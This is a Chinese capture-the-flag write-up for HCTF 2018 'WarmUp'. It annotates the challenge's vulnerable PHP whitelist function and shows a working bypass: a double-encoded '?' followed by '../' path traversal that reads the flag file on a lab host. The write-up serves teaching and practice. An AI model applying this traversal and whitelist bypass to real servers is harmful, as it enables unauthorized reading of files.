[HCTF 2018]WarmUp
点击F12查看源码,发现提示source.php,进入后是一个PHP代码审计
进入页面后还有hint.php,进入后给了flag所在文件名字的提示
highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true
}
$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
- 第一个if语句对变量进行检验,要求$page为字符串,否则返回false
- 第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
- 第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
- 第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
因此我们可以构造语句为?file=hint.php%253f../ffffllllaaaagggg(由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加 ../)
最终的语句为 http://78442820-18e7-4f8e-a040-6429d5f835fd.node4.buuoj.cn:81/?file=hint.php%253f../../../../../ffffllllaaaagggg